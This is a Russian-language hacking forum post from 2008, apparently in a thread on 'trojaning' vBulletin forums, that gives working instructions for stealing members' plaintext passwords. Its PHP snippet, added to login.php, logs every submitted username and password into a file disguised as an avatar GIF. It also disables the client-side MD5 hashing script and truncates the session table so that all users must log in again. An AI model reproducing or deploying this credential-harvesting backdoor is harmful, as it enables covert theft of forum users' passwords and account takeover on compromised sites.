Показать сообщение отдельно

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
  #34  
Старый 11.05.2008, 17:38
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме:
2052669

Репутация: 178
По умолчанию Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

Цитата:
Сообщение от Basurman  
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
Делал немного по другому и в результате получал чистые пароли.

1) Добавляем в начало файла login.php

PHP код:
$Login $_POST['vb_login_username'];
$Passwd $_POST['vb_login_password'];
$fp fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp); 
2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.

3) Для того чтобы обнулить сессии выполняем код:

PHP код:
$link mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query "TRUNCATE TABLE префикс_session";
$result mysql_query($query$link);
mysql_close($link); 

Последний раз редактировалось Elekt; 03.09.2008 в 02:34..